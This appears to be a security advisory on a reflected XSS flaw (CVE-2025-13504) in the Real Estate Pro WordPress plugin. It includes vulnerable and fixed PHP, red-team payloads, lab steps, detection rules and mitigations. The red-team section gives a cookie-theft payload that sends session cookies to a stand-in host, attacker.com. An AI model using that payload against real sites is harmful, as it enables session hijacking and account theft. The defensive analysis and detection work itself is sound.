CVE-2025-13504

Executive Summary

CVE-2025-13504 is a reflected Cross-Site Scripting (XSS) vulnerability in the Real Estate Pro WordPress plugin (vendor: e-plugins), affecting versions up to and including 2.1.4. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. As of this report, no official patch has been released, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low active exploitation likelihood, but the risk remains significant for unpatched WordPress installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from e-plugins. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – injected script can affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: Low (A:L) – limited disruption

Threat Level: High. While exploitation requires user interaction, the low complexity and network attack vector make it attractive for phishing campaigns. The lack of a patch amplifies the risk for all sites using the plugin.

Deep Dive & Mechanics

The vulnerability exists in the Real Estate Pro plugin’s handling of HTTP GET/POST parameters that are reflected back to the user without proper sanitization or encoding. Specifically, the plugin fails to escape output in certain admin-facing or public-facing pages, allowing an attacker to inject malicious HTML/JavaScript via a crafted URL.

Root Cause: The plugin uses echo $_GET['param'] or similar constructs without applying WordPress’s esc_html() or esc_attr() functions, nor does it validate input against an allowlist.

Attack Flow:

1. Attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter (e.g., ?search=<script>alert(1)</script>).
2. Victim clicks the link (e.g., via phishing email or social engineering).
3. The plugin reflects the payload in the response without sanitization.
4. The victim’s browser executes the injected script in the context of the WordPress site.

Impact: The attacker can steal session cookies, redirect users to malicious sites, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on standard WordPress security practices.

Vulnerable Code (example):

<?php
$search = $_GET['search'];
echo "<div>You searched for: " . $search . "</div>";
?>

Patched Code (recommended):

<?php
$search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo "<div>You searched for: " . esc_html($search) . "</div>";
?>

Key Changes:

• Use sanitize_text_field() to strip dangerous tags.
• Use esc_html() to encode output, preventing script execution.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target WordPress site with Real Estate Pro <= 2.1.4.
• No authentication required.

Exploitation Steps:

1. Identify a vulnerable parameter (e.g., search, s, cat, page_id).
2. Craft a payload: ?search=<script>alert(document.cookie)</script>.
3. Deliver the link to the victim via email or social media.
4. Upon click, the script executes in the victim’s browser.

Example Payload (session hijacking):

?search=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defender)

Detection:

• Monitor web server logs for requests containing <script> tags in query parameters.
• Use WAF rules to block reflected XSS patterns.

Hunting Query (Splunk):

index=web sourcetype=access_combined uri_path="/wp-content/plugins/real-estate-pro/*" | search query=*<script>*

Lab Setup:

1. Install WordPress on a local server (e.g., XAMPP, Docker).
2. Download Real Estate Pro v2.1.4 from a trusted source.
3. Activate the plugin.
4. Use a browser to test reflected XSS by appending ?search=<script>alert(1)</script> to any plugin page.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script>, onerror=, onload=, or javascript: in query parameters.
  • Outbound connections to unknown IPs/domains from the WordPress server.
• File IOCs:
  • Modified plugin files (e.g., real-estate-pro/*.php) containing suspicious echo statements.
• Log IOCs:
  • Web server logs showing repeated requests with XSS payloads.
  • Error logs with Reflected XSS alerts from WAF.

Detection Engineering

YARA Rule

rule CVE_2025_13504_Reflected_XSS {
    meta:
        description = "Detects reflected XSS payloads targeting Real Estate Pro plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-13504"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /javascript\s*:\s*/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Reflected XSS in Real Estate Pro Plugin
id: 8a3f7c2e-9b1d-4f5a-8c6e-7d2f1a3b4c5d
status: experimental
description: Detects reflected XSS attempts against Real Estate Pro WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/wp-content/plugins/real-estate-pro/'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13504 Reflected XSS in Real Estate Pro"; flow:to_server,established; content:"/wp-content/plugins/real-estate-pro/"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Restrict access to plugin pages via .htaccess or IP whitelisting.

Long-Term Fix:

• Apply input sanitization (sanitize_text_field()) and output encoding (esc_html()) to all user-supplied data.
• Use WordPress’s wp_kses() for rich content.
• Monitor the plugin’s official page for updates.

Workaround:

• Add the following to .htaccess to block common XSS payloads:

RewriteEngine On
RewriteCond %{QUERY_STRING} (<script|onerror|onload|javascript:) [NC]
RewriteRule ^ - [F,L]

Valters IT – Securing digital ecosystems through proactive threat intelligence.